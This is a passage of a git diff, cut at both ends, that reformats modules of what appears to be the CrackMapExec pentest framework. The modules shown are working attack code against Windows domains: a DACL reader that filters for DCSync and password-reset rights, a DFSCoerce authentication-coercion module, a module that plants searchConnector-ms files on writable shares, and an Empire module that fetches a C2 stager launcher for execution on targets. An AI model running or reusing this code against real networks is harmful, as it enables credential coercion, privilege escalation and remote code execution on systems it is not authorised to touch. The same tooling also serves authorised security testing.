self.rights = module_options["RIGHTS"] else: self.rights = None - if module_options and 'RIGHTS_GUID' in module_options: - self.rights_guid = module_options['RIGHTS_GUID'] + if module_options and "RIGHTS_GUID" in module_options: + self.rights_guid = module_options["RIGHTS_GUID"] else: self.rights_guid = None self.filename = None @@ -267,7 +274,9 @@ class CMEModule: On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified """ - context.log.highlight("Be carefull, this module cannot read the DACLS recursively.") + context.log.highlight( + "Be carefull, this module cannot read the DACLS recursively." + ) self.baseDN = connection.ldapConnection._baseDN self.ldap_session = connection.ldapConnection @@ -278,13 +287,18 @@ class CMEModule: self.principal_sid = format_sid( self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), - attributes=['objectSid'] + searchFilter="(sAMAccountName=%s)" + % escape_filter_chars(_lookedup_principal), + attributes=["objectSid"], )[0][1][0][1][0] ) - context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid) + context.log.highlight( + "Found principal SID to filter on: %s" % self.principal_sid + ) except Exception as e: - context.log.fail('Principal SID not found in LDAP (%s)' % _lookedup_principal) + context.log.fail( + "Principal SID not found in LDAP (%s)" % _lookedup_principal + ) exit(1) # Searching for the targets SID and their Security Decriptors @@ -295,17 +309,24 @@ class CMEModule: self.search_target_principal_security_descriptor(context, connection) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1') + self.principal_raw_security_descriptor = str( + self.target_principal[1][0][1][0] + ).encode("latin-1") self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor) - context.log.highlight('Target principal found in LDAP (%s)' % self.target_principal[0]) + data=self.principal_raw_security_descriptor + ) + context.log.highlight( + "Target principal found in LDAP (%s)" % self.target_principal[0] + ) except Exception as e: - context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName) + context.log.fail( + "Target SID not found in LDAP (%s)" % self.target_sAMAccountName + ) exit(1) - if self.action == 'read': + if self.action == "read": self.read(context) - if self.action == 'backup': + if self.action == "backup": self.backup(context) # If there are multiple targets @@ -315,26 +336,40 @@ class CMEModule: try: self.target_sAMAccountName = target.strip() # Searching for target account with its security descriptor - self.search_target_principal_security_descriptor(context, connection) + self.search_target_principal_security_descriptor( + context, connection + ) # Extract security descriptor data self.target_principal_dn = self.target_principal[0] - self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1') - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR( - data=self.principal_raw_security_descriptor) - context.log.highlight('Target principal found in LDAP (%s)' % self.target_sAMAccountName) + self.principal_raw_security_descriptor = str( + self.target_principal[1][0][1][0] + ).encode("latin-1") + self.principal_security_descriptor = ( + ldaptypes.SR_SECURITY_DESCRIPTOR( + data=self.principal_raw_security_descriptor + ) + ) + context.log.highlight( + "Target principal found in LDAP (%s)" + % self.target_sAMAccountName + ) except Exception as e: - context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName) + context.log.fail( + "Target SID not found in LDAP (%s)" % self.target_sAMAccountName + ) continue - if self.action == 'read': + if self.action == "read": self.read(context) - if self.action == 'backup': + if self.action == "backup": self.backup(context) # Main read funtion # Prints the parsed DACL def read(self, context): - parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor['Dacl']) + parsed_dacl = self.parse_dacl( + context, self.principal_security_descriptor["Dacl"] + ) self.print_parsed_dacl(context, parsed_dacl) return @@ -342,14 +377,18 @@ class CMEModule: # This function is called before any writing action (write, remove or restore) def backup(self, context): backup = {} - backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('latin-1') + backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode( + "latin-1" + ) backup["dn"] = str(self.target_principal_dn) if not self.filename: - self.filename = 'dacledit-%s-%s.bak' % ( - datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), self.target_sAMAccountName) - with codecs.open(self.filename, 'w', 'latin-1') as outfile: + self.filename = "dacledit-%s-%s.bak" % ( + datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), + self.target_sAMAccountName, + ) + with codecs.open(self.filename, "w", "latin-1") as outfile: json.dump(backup, outfile) - context.log.highlight('DACL backed up to %s', self.filename) + context.log.highlight("DACL backed up to %s", self.filename) self.filename = None # Attempts to retrieve the DACL in the Security Descriptor of the specified target @@ -361,22 +400,26 @@ class CMEModule: _lookedup_principal = self.target_sAMAccountName target = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), - attributes=['nTSecurityDescriptor'], - searchControls=controls + searchFilter="(sAMAccountName=%s)" + % escape_filter_chars(_lookedup_principal), + attributes=["nTSecurityDescriptor"], + searchControls=controls, ) if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(distinguishedName=%s)' % _lookedup_principal, - attributes=['nTSecurityDescriptor'], - searchControls=controls + searchFilter="(distinguishedName=%s)" % _lookedup_principal, + attributes=["nTSecurityDescriptor"], + searchControls=controls, ) try: self.target_principal = target[0] except Exception as e: - context.log.fail('Principal not found in LDAP (%s), probably an LDAP session issue.' % _lookedup_principal) + context.log.fail( + "Principal not found in LDAP (%s), probably an LDAP session issue." + % _lookedup_principal + ) exit(0) # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName @@ -385,15 +428,15 @@ class CMEModule: def get_user_info(self, context, samname): self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samname), - attributes=['objectSid'] + searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname), + attributes=["objectSid"], ) try: dn = self.ldap_session.entries[0].entry_dn - sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0]) return dn, sid except Exception as e: - context.log.fail('User not found in LDAP: %s' % samname) + context.log.fail("User not found in LDAP: %s" % samname) return False # Attempts to resolve a SID and return the corresponding samaccountname @@ -407,17 +450,17 @@ class CMEModule: try: dn = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(objectSid=%s)' % sid, - attributes=['sAMAccountName'] + searchFilter="(objectSid=%s)" % sid, + attributes=["sAMAccountName"], )[0][0] samname = self.ldap_session.search( searchBase=self.baseDN, - searchFilter='(objectSid=%s)' % sid, - attributes=['sAMAccountName'] + searchFilter="(objectSid=%s)" % sid, + attributes=["sAMAccountName"], )[0][1][0][1][0] return samname except Exception as e: - context.log.debug('SID not found in LDAP: %s' % sid) + context.log.debug("SID not found in LDAP: %s" % sid) return "" # Parses a full DACL @@ -426,7 +469,7 @@ class CMEModule: parsed_dacl = [] context.log.debug("Parsing DACL") i = 0 - for ace in dacl['Data']: + for ace in dacl["Data"]: parsed_ace = self.parse_ace(context, ace) parsed_dacl.append(parsed_ace) i += 1 @@ -450,71 +493,98 @@ class CMEModule: # - ace : the ACE to parse def parse_ace(self, context, ace): # For the moment, only the Allowed and Denied Access ACE are supported - if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", - "ACCESS_DENIED_OBJECT_ACE"]: + if ace["TypeName"] in [ + "ACCESS_ALLOWED_ACE", + "ACCESS_ALLOWED_OBJECT_ACE", + "ACCESS_DENIED_ACE", + "ACCESS_DENIED_OBJECT_ACE", + ]: parsed_ace = {} - parsed_ace['ACE Type'] = ace['TypeName'] + parsed_ace["ACE Type"] = ace["TypeName"] # Retrieves ACE's flags _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None" # For standard ACE # Extracts the access mask (by parsing the simple permissions) and the principal's SID - if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]: - parsed_ace['Access mask'] = "%s (0x%x)" % ( - ", ".join(self.parse_perms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) - parsed_ace['Trustee (SID)'] = "%s (%s)" % ( - self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", - ace['Ace']['Sid'].formatCanonical()) + if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]: + parsed_ace["Access mask"] = "%s (0x%x)" % ( + ", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])), + ace["Ace"]["Mask"]["Mask"], + ) + parsed_ace["Trustee (SID)"] = "%s (%s)" % ( + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) + or "UNKNOWN", + ace["Ace"]["Sid"].formatCanonical(), + ) # For object-specific ACE - elif ace['TypeName'] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: + elif ace["TypeName"] in [ + "ACCESS_ALLOWED_OBJECT_ACE", + "ACCESS_DENIED_OBJECT_ACE", + ]: # Extracts the mask values. These values will indicate the ObjectType purpose _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): + if ace["Ace"]["Mask"].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) - parsed_ace['Access mask'] = ", ".join(_access_mask_flags) + parsed_ace["Access mask"] = ", ".join(_access_mask_flags) # Extracts the ACE flag values and the trusted SID _object_flags = [] for FLAG in OBJECT_ACE_FLAGS: - if ace['Ace'].hasFlag(FLAG.value): + if ace["Ace"].hasFlag(FLAG.value): _object_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_object_flags) or "None" + parsed_ace["Flags"] = ", ".join(_object_flags) or "None" # Extracts the ObjectType GUID values - if ace['Ace']['ObjectTypeLen'] != 0: - obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() + if ace["Ace"]["ObjectTypeLen"] != 0: + obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower() try: - parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + parsed_ace["Object type (GUID)"] = "%s (%s)" % ( + OBJECT_TYPES_GUID[obj_type], + obj_type, + ) except KeyError: - parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type + parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type # Extracts the InheritedObjectType GUID values - if ace['Ace']['InheritedObjectTypeLen'] != 0: - inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() + if ace["Ace"]["InheritedObjectTypeLen"] != 0: + inh_obj_type = bin_to_string( + ace["Ace"]["InheritedObjectType"] + ).lower() try: - parsed_ace['Inherited type (GUID)'] = "%s (%s)" % ( - OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + parsed_ace["Inherited type (GUID)"] = "%s (%s)" % ( + OBJECT_TYPES_GUID[inh_obj_type], + inh_obj_type, + ) except KeyError: - parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type + parsed_ace["Inherited type (GUID)"] = ( + "UNKNOWN (%s)" % inh_obj_type + ) # Extract the Trustee SID (the object that has the right over the DACL bearer) - parsed_ace['Trustee (SID)'] = "%s (%s)" % ( - self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", - ace['Ace']['Sid'].formatCanonical()) + parsed_ace["Trustee (SID)"] = "%s (%s)" % ( + self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) + or "UNKNOWN", + ace["Ace"]["Sid"].formatCanonical(), + ) else: # If the ACE is not an access allowed - context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) + context.log.debug( + "ACE Type (%s) unsupported for parsing yet, feel free to contribute" + % ace["TypeName"] + ) parsed_ace = {} - parsed_ace['ACE type'] = ace['TypeName'] + parsed_ace["ACE type"] = ace["TypeName"] _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" - parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None" + parsed_ace[ + "DEBUG" + ] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace # Prints a full DACL by printing each parsed ACE @@ -530,57 +600,87 @@ class CMEModule: # Filter on specific rights if self.rights is not None: try: - if (self.rights == 'FullControl') and (self.rights not in parsed_ace['Access mask']): + if (self.rights == "FullControl") and ( + self.rights not in parsed_ace["Access mask"] + ): print_ace = False - if (self.rights == 'DCSync') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "DCSync") and ( + ("Object type (GUID)" not in parsed_ace) + or ( + RIGHTS_GUID.DS_Replication_Get_Changes_All.value + not in parsed_ace["Object type (GUID)"] + ) + ): print_ace = False - if (self.rights == 'WriteMembers') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.WriteMembers.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "WriteMembers") and ( + ("Object type (GUID)" not in parsed_ace) + or ( + RIGHTS_GUID.WriteMembers.value + not in parsed_ace["Object type (GUID)"] + ) + ): print_ace = False - if (self.rights == 'ResetPassword') and (('Object type (GUID)' not in parsed_ace) or ( - RIGHTS_GUID.ResetPassword.value not in parsed_ace['Object type (GUID)'])): + if (self.rights == "ResetPassword") and ( + ("Object type (GUID)" not in parsed_ace) + or ( + RIGHTS_GUID.ResetPassword.value + not in parsed_ace["Object type (GUID)"] + ) + ): print_ace = False except Exception as e: context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" + % e + ) # Filter on specific right GUID if self.rights_guid is not None: try: - if ('Object type (GUID)' not in parsed_ace) or ( - self.rights_guid not in parsed_ace['Object type (GUID)']): + if ("Object type (GUID)" not in parsed_ace) or ( + self.rights_guid not in parsed_ace["Object type (GUID)"] + ): print_ace = False except Exception as e: context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" + % e + ) # Filter on ACE type - if self.ace_type == 'allowed': + if self.ace_type == "allowed": try: - if ('ACCESS_ALLOWED_OBJECT_ACE' not in parsed_ace['ACE Type']) and ( - 'ACCESS_ALLOWED_ACE' not in parsed_ace['ACE Type']): + if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ( + "ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"] + ): print_ace = False except Exception as e: context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" + % e + ) else: try: - if ('ACCESS_DENIED_OBJECT_ACE' not in parsed_ace['ACE Type']) and ( - 'ACCESS_DENIED_ACE' not in parsed_ace['ACE Type']): + if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ( + "ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"] + ): print_ace = False except Exception as e: context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" + % e + ) # Filter on trusted principal if self.principal_sid is not None: try: - if self.principal_sid not in parsed_ace['Trustee (SID)']: + if self.principal_sid not in parsed_ace["Trustee (SID)"]: print_ace = False except Exception as e: context.log.fail( - "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + "Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" + % e + ) if print_ace: self.context.log.highlight("%-28s" % "ACE[%d] info" % i) self.print_parsed_ace(parsed_ace) @@ -591,7 +691,9 @@ class CMEModule: def print_parsed_ace(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: - self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute])) + self.context.log.highlight( + " %-26s: %s" % (attribute, parsed_ace[attribute]) + ) # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): @@ -603,7 +705,9 @@ class CMEModule: elif self.rights == "ResetPassword": _rights_guids = [RIGHTS_GUID.ResetPassword.value] elif self.rights == "DCSync": - _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, - RIGHTS_GUID.DS_Replication_Get_Changes_All.value] - self.context.log.highlight('Built GUID: %s', _rights_guids) + _rights_guids = [ + RIGHTS_GUID.DS_Replication_Get_Changes.value, + RIGHTS_GUID.DS_Replication_Get_Changes_All.value, + ] + self.context.log.highlight("Built GUID: %s", _rights_guids) return _rights_guids diff --git a/cme/modules/dfscoerce.py b/cme/modules/dfscoerce.py index 6f262003..9266afb0 100644 --- a/cme/modules/dfscoerce.py +++ b/cme/modules/dfscoerce.py @@ -11,9 +11,9 @@ from cme.logger import cme_logger class CMEModule: - name = 'dfscoerce' + name = "dfscoerce" description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -27,20 +27,31 @@ class CMEModule: LISTENER Listener Address (defaults to 127.0.0.1) """ self.listener = "127.0.0.1" - if 'LISTENER' in module_options: - self.listener = module_options['LISTENER'] + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] def on_login(self, context, connection): trigger = TriggerAuth() - dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, doKerberos=connection.kerberos, dcHost=connection.kdcHost) + dce = trigger.connect( + username=connection.username, + password=connection.password, + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + target=connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain, + doKerberos=connection.kerberos, + dcHost=connection.kdcHost, + ) - if dce is not None: + if dce is not None: context.log.debug("Target is vulnerable to DFSCoerce") trigger.NetrDfsRemoveStdRoot(dce, self.listener) context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce") dce.disconnect() - + else: context.log.debug("Target is not vulnerable to DFSCoerce") @@ -54,9 +65,14 @@ class DCERPCSessionError(DCERPCException): if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] - return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + return "DFSNM SessionError: code: 0x%x - %s - %s" % ( + self.error_code, + error_msg_short, + error_msg_verbose, + ) else: - return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code + return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code + ################################################################################ # RPC CALLS @@ -64,55 +80,61 @@ class DCERPCSessionError(DCERPCException): class NetrDfsRemoveStdRoot(NDRCALL): opnum = 13 structure = ( - ('ServerName', WSTR), - ('RootShare', WSTR), - ('ApiFlags', DWORD), + ("ServerName", WSTR), + ("RootShare", WSTR), + ("ApiFlags", DWORD), ) class NetrDfsRemoveStdRootResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) class NetrDfsAddRoot(NDRCALL): opnum = 12 structure = ( - ('ServerName',WSTR), - ('RootShare',WSTR), - ('Comment',WSTR), - ('ApiFlags',DWORD), - ) + ("ServerName", WSTR), + ("RootShare", WSTR), + ("Comment", WSTR), + ("ApiFlags", DWORD), + ) class NetrDfsAddRootResponse(NDRCALL): - structure = ( - ('ErrorCode', ULONG), - ) + structure = (("ErrorCode", ULONG),) -class TriggerAuth(): - def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost): - rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target) - if hasattr(rpctransport, 'set_credentials'): - rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) +class TriggerAuth: + def connect( + self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost + ): + rpctransport = transport.DCERPCTransportFactory( + r"ncacn_np:%s[\PIPE\netdfs]" % target + ) + if hasattr(rpctransport, "set_credentials"): + rpctransport.set_credentials( + username=username, + password=password, + domain=domain, + lmhash=lmhash, + nthash=nthash, + ) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) - #if target: + # if target: # rpctransport.setRemoteHost(target) - + rpctransport.setRemoteHost(target) dce = rpctransport.get_dce_rpc() - cme_logger.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target) + cme_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target) try: dce.connect() except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) return try: - dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0'))) + dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0"))) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) return @@ -123,9 +145,9 @@ class TriggerAuth(): cme_logger.debug("[-] Sending NetrDfsRemoveStdRoot!") try: request = NetrDfsRemoveStdRoot() - request['ServerName'] = '%s\x00' % listener - request['RootShare'] = 'test\x00' - request['ApiFlags'] = 1 + request["ServerName"] = "%s\x00" % listener + request["RootShare"] = "test\x00" + request["ApiFlags"] = 1 if self.args.verbose: cme_logger.debug(request.dump()) # logger.debug(request.dump()) diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop_searchConnector-ms.py index 9de49e58..2672f300 100644 --- a/cme/modules/drop_searchConnector-ms.py +++ b/cme/modules/drop_searchConnector-ms.py @@ -3,81 +3,109 @@ import ntpath + class CMEModule: """ - Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. - https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ - Module by @zblurx + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx """ - name = 'drop-sc' - description = 'Drop a searchConnector-ms file on each writable share' + name = "drop-sc" + description = "Drop a searchConnector-ms file on each writable share" supported_protocols = ["smb"] - opsec_safe= False + opsec_safe = False multiple_hosts = True def options(self, context, module_options): """ - Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. - https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ - Module by @zblurx - URL URL in the searchConnector-ms file, default https://rickroll - CLEANUP Cleanup (choices: True or False) - SHARE Specify a share to target - FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + URL URL in the searchConnector-ms file, default https://rickroll + CLEANUP Cleanup (choices: True or False) + SHARE Specify a share to target + FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" """ self.cleanup = False - if 'CLEANUP' in module_options: - self.cleanup = bool(module_options['CLEANUP']) - - self.url = 'https://rickroll' - if 'URL' in module_options: - self.url = str(module_options['URL']) + if "CLEANUP" in module_options: + self.cleanup = bool(module_options["CLEANUP"]) - self.sharename = '' - if 'SHARE' in module_options: - self.sharename = str(module_options['SHARE']) + self.url = "https://rickroll" + if "URL" in module_options: + self.url = str(module_options["URL"]) - self.filename = 'Documents' - if 'FILENAME' in module_options: - self.filename = str(module_options['FILENAME']) + self.sharename = "" + if "SHARE" in module_options: + self.sharename = str(module_options["SHARE"]) - self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) + self.filename = "Documents" + if "FILENAME" in module_options: + self.filename = str(module_options["FILENAME"]) + + self.file_path = ntpath.join( + "\\", "{}.searchConnector-ms".format(self.filename) + ) if not self.cleanup: - self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) - scfile = open(self.scfile_path, 'w') + self.scfile_path = "/tmp/{}.searchConnector-ms".format(self.filename) + scfile = open(self.scfile_path, "w") scfile.truncate(0) scfile.write('') - scfile.write('') - scfile.write('Microsoft Outlook') - scfile.write('false') - scfile.write('true') - scfile.write('{}/0001.ico'.format(self.url)) - scfile.write('') - scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') - scfile.write('') - scfile.write('') - scfile.write('{}'.format(self.url)) - scfile.write('') - scfile.write('') + scfile.write( + '' + ) + scfile.write("Microsoft Outlook") + scfile.write("false") + scfile.write("true") + scfile.write("{}/0001.ico".format(self.url)) + scfile.write("") + scfile.write( + "{91475FE5-586B-4EBA-8D75-D17434B8CDF6}" + ) + scfile.write("") + scfile.write("") + scfile.write("{}".format(self.url)) + scfile.write("") + scfile.write("") scfile.close() def on_login(self, context, connection): shares = connection.shares() for share in shares: - if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): - context.log.success('Found writable share: {}'.format(share['name'])) + if "WRITE" in share["access"] and ( + share["name"] == self.sharename + if self.sharename != "" + else share["name"] not in ["C$", "ADMIN$"] + ): + context.log.success("Found writable share: {}".format(share["name"])) if not self.cleanup: - with open(self.scfile_path, 'rb') as scfile: + with open(self.scfile_path, "rb") as scfile: try: - connection.conn.putFile(share['name'], self.file_path, scfile.read) - context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + connection.conn.putFile( + share["name"], self.file_path, scfile.read + ) + context.log.success( + "Created {}.searchConnector-ms file on the {} share".format( + self.filename, share["name"] + ) + ) except Exception as e: - context.log.fail('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) + context.log.fail( + "Error writing {}.searchConnector-ms file on the {} share: {}".format( + self.filename, share["name"], e + ) + ) else: try: - connection.conn.deleteFile(share['name'], self.file_path) - context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + connection.conn.deleteFile(share["name"], self.file_path) + context.log.success( + "Deleted {}.searchConnector-ms file on the {} share".format( + self.filename, share["name"] + ) + ) except Exception as e: - context.log.fail('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) - + context.log.fail( + "Error deleting {}.searchConnector-ms file on share {}: {}".format( + self.filename, share["name"], e + ) + ) diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py index 5c579cc2..72623dee 100644 --- a/cme/modules/empire_exec.py +++ b/cme/modules/empire_exec.py @@ -5,60 +5,84 @@ import sys import requests from requests import ConnectionError -#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message +# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + class CMEModule: """ - Uses Empire's RESTful API to generate a launcher for the specified listener and executes it - Module by @byt3bl33d3r + Uses Empire's RESTful API to generate a launcher for the specified listener and executes it + Module by @byt3bl33d3r """ - name='empire_exec' + name = "empire_exec" description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" - supported_protocols = ['smb', 'mssql'] + supported_protocols = ["smb", "mssql"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - LISTENER Listener name to generate the launcher for + LISTENER Listener name to generate the launcher for """ - if not 'LISTENER' in module_options: - context.log.fail('LISTENER option is required!') + if not "LISTENER" in module_options: + context.log.fail("LISTENER option is required!") sys.exit(1) self.empire_launcher = None - headers = {'Content-Type': 'application/json'} - #Pull the host and port from the config file - base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) + headers = {"Content-Type": "application/json"} + # Pull the host and port from the config file + base_url = "https://{}:{}".format( + context.conf.get("Empire", "api_host"), + context.conf.get("Empire", "api_port"), + ) try: - #Pull the username and password from the config file - payload = {'username': context.conf.get('Empire', 'username'), - 'password': context.conf.get('Empire', 'password')} + # Pull the username and password from the config file + payload = { + "username": context.conf.get("Empire", "username"), + "password": context.conf.get("Empire", "password"), + } - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) + r = requests.post( + base_url + "/api/admin/login", + json=payload, + headers=headers, + verify=False, + ) if r.status_code == 200: - token = r.json()['token'] + token = r.json()["token"] else: context.log.fail("Error authenticating to Empire's RESTful API server!") sys.exit(1) - payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']} - r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) - + payload = { + "StagerName": "multi/launcher", + "Listener": module_options["LISTENER"], + } + r = requests.post( + base_url + "/api/stagers?token={}".format(token), + json=payload, + headers=headers, + verify=False, + ) + response = r.json() if "error" in response: context.log.fail("Error from empire : {}".format(response["error"])) sys.exit(1) - self.empire_launcher = response['multi/launcher']['Output'] + self.empire_launcher = response["multi/launcher"]["Output"] - context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) + context.log.success( + "Successfully generated launcher for listener '{}'".format( + module_options["LISTENER"] + ) + ) except ConnectionError as e: context.log.fail("Unable to connect to Empire's RESTful API: {}".format(e)) @@ -67,4 +91,4 @@ class CMEModule: def on_admin_login(self, context, connection): if 